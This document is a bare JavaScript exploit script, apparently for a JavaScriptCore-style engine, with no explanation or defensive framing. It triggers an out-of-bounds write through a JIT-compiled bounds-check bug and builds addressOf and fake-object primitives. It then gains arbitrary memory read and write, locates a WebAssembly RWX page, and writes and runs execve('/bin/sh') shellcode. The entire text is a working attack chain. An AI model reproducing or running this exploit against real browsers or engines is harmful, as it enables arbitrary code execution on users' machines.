var
buf =
new
ArrayBuffer(8);
var
dv =
new
DataView(buf);
var
u8 =
new
Uint8Array(buf);
var
u32 =
new
Uint32Array(buf);
var
u64 =
new
BigUint64Array(buf);
var
f32 =
new
Float32Array(buf);
var
f64 =
new
Float64Array(buf);
function
pair_u32_to_f64(l, h) {
u32[0] = l;
u32[1] = h;
return
f64[0];
}
function
u64_to_f64(val) {
u64[0] = val;
return
f64[0];
}
function
f64_to_u64(val) {
f64[0] = val;
return
u64[0];
}
function
set_u64(val) {
u64[0] = val;
}
function
set_l(l) {
u32[0] = l;
}
function
set_h(h) {
u32[1] = h;
}
function
get_l() {
return
u32[0];
}
function
get_h() {
return
u32[1];
}
function
get_u64() {
return
u64[0];
}
function
get_f64() {
return
f64[0];
}
function
get_fl(val) {
f64[0] = val;
return
u32[0];
}
function
get_fh(val) {
f64[0] = val;
return
u32[1];
}
function
hexx(str, val) {
print(str+
": 0x"
+val.toString(16));
}
function
sleep(ms) {
return
new
Promise((resolve) => setTimeout(resolve, ms));
}
function
trigger(arr, n) {
if
(n < 0) {
let a = -n;
let b = Math.abs(n);
if
(b < arr.length) {
if
(b & 0x80000000) {
b += -0x7ffffff7;
}
if
(b >= 0) {
arr[b] = 1.04380972981885e-310;
}
}
}
}
var
noCOW = 13.37
var
arr = [noCOW, 1.1, 2.2, 3.3];
var
oob_array = [noCOW, 1.1, 2.2, 3.3];
var
victim_array = [noCOW, 1.1, 2.2, 3.3];
arr.prop = {};
arr.brop = {};
oob_array.prop = {};
oob_array.brop = {};
victim_array.prop = {};
victim_array.brop = {};
for
(let i = 0; i < 0xd0000; i++) {
trigger(arr, -2);
}
trigger(arr, -0x80000000);
hexx(
"oob_array.length"
, oob_array.length);
function
addressOf(obj) {
victim_array.prop = obj;
return
f64_to_u64(oob_array[8]);
}
function
fakeObject(addr) {
oob_array[8] = u64_to_f64(addr);
return
victim_array.prop;
}
function
leakStructureID(obj) {
let container = {
jscell: u64_to_f64(0x0108230700000000n-0x2000000000000n),
butterfly: obj
};
let fake_object_addr = addressOf(container) + 0x10n;
let fake_object = fakeObject(fake_object_addr);
let num = f64_to_u64(fake_object[0]);
let structureID = num & 0xffffffffn;
container.jscell = f64[0];
return
structureID;
}
var
noCOW = 1.1;
var
arrs = [];
for
(let i = 0; i < 100; i++) {
arrs.push([noCOW]);
}
var
ID = [noCOW];
var
structureID = leakStructureID(ID);
hexx(
"structureID"
, structureID);
var
victim = [noCOW, 1.1, 2.2];
victim[
'prop'
] = 3.3;
victim[
'brob'
] = 4.4;
var
container = {
jscell: u64_to_f64(structureID+0x0108230900000000n-0x2000000000000n),
butterfly: victim
};
var
container_addr = addressOf(container);
var
driver_addr = container_addr + 0x10n;
var
driver = fakeObject(driver_addr);
var
unboxed = [noCOW, 1.1, 2.2];
var
boxed = [{}];
driver[1] = unboxed;
var
sharedButterfly = victim[1];
hexx(
"sharedButterfly"
, f64_to_u64(sharedButterfly));
driver[1] = boxed;
victim[1] = sharedButterfly;
function
new_addressOf(obj) {
boxed[0] = obj;
return
f64_to_u64(unboxed[0]);
}
function
new_fakeObject(addr) {
unboxed[0] = u64_to_f64(addr);
return
boxed[0];
}
function
read64(addr) {
driver[1] = new_fakeObject(addr + 0x10n);
return
new_addressOf(victim.prop);
}
function
write64(addr, val) {
driver[1] = new_fakeObject(addr + 0x10n);
victim.prop = u64_to_f64(val);;
}
function
ByteToDwordArray(payload) {
let sc = [];
let tmp = [];
let len = Math.ceil(payload.length / 6);
for
(let i = 0; i < len; i += 1) {
tmp = 0n;
pow = 1n;
for
(let j = 0; j < 6; j++){
let c = payload[i*6+j]
if
(c === undefined) {
c = 0n;
}
pow = j==0 ? 1n : 256n * pow;
tmp += c * pow;
}
tmp += 0xc000000000000n;
sc.push(tmp);
}
return
sc;
}
function
arb_write(addr, payload) {
let sc = ByteToDwordArray(payload);
for
(let i = 0; i < sc.length; i++) {
write64(addr, sc[i]);
addr += 6n;
}
}
var
wasm_code =
new
Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,
128,0,1,96,0,1,127,3,130,128,128,128,
0,1,0,4,132,128,128,128,0,1,112,0,0,5,
131,128,128,128,0,1,0,1,6,129,128,128,128,
0,0,7,145,128,128,128,0,2,6,109,101,109,111,
114,121,2,0,4,109,97,105,110,0,0,10,142,128,128,
128,0,1,136,128,128,128,0,0,65,239,253,182,245,125,11]);
var
wasm_module =
new
WebAssembly.Module(wasm_code);
var
wasm_instance =
new
WebAssembly.Instance(wasm_module);
var
pwn = wasm_instance.exports.main;
var
pwn_addr = new_addressOf(pwn);
var
rwx_ptr = read64(pwn_addr+0x30n);
var
rwx_addr = read64(rwx_ptr);
hexx(
"rwx_addr"
, rwx_addr);
var
shellcode =[90n, 90n, 90n, 90n, 90n, 90n, 90n, 90n, 90n, 90n, 90n, 90n, 90n,
90n, 90n, 90n, 90n, 90n, 90n, 90n, 90n, 90n, 90n, 90n, 90n, 90n,
90n, 90n, 90n, 90n, 90n, 90n, 90n, 90n, 90n, 90n, 90n, 90n, 90n,
90n, 90n, 90n, 90n, 90n, 90n, 90n, 90n, 90n, 90n, 90n, 90n, 90n,
90n, 90n, 90n, 90n, 90n, 90n, 90n, 90n, 90n, 90n, 90n, 90n, 90n,
90n, 90n, 90n, 90n, 90n, 90n, 90n, 90n, 90n, 90n, 90n, 90n, 90n,
106n, 104n, 72n, 184n, 47n, 98n, 105n, 110n, 47n, 47n, 47n, 115n,
80n, 72n, 137n, 231n, 104n, 114n, 105n, 1n, 1n, 129n, 52n, 36n, 1n,
1n, 1n, 1n, 49n, 246n, 86n, 106n, 8n, 94n, 72n, 1n, 230n,86n, 72n,
137n, 230n, 49n, 210n, 106n, 59n, 88n, 15n, 5n];
arb_write(rwx_addr, shellcode);
pwn();